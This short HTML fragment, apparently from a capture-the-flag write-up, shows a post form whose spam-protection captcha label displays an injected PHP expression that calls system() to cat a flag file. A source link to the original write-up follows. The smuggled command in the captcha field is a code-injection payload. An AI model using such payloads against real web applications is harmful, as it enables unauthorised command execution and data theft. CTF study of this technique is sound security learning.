<div id="form">
<form method="POST" style=" width:900px; margin:auto;">

<label for="name">Name
<input type="text" id="name" name ="name"></label>

<label for="text">Text
<textarea name="text" id="text"></textarea></label>

<label for="solution">Spam protection: 9-system('cat /6f170bcecda1ca8d3a5435591202988881b34bad')-9

<input type="text" id="solution" name="solution">
</label>

<input type="submit" id="submit" name="submit" value="Post">

Original writeup (http://twitter.com/YkthackLetm).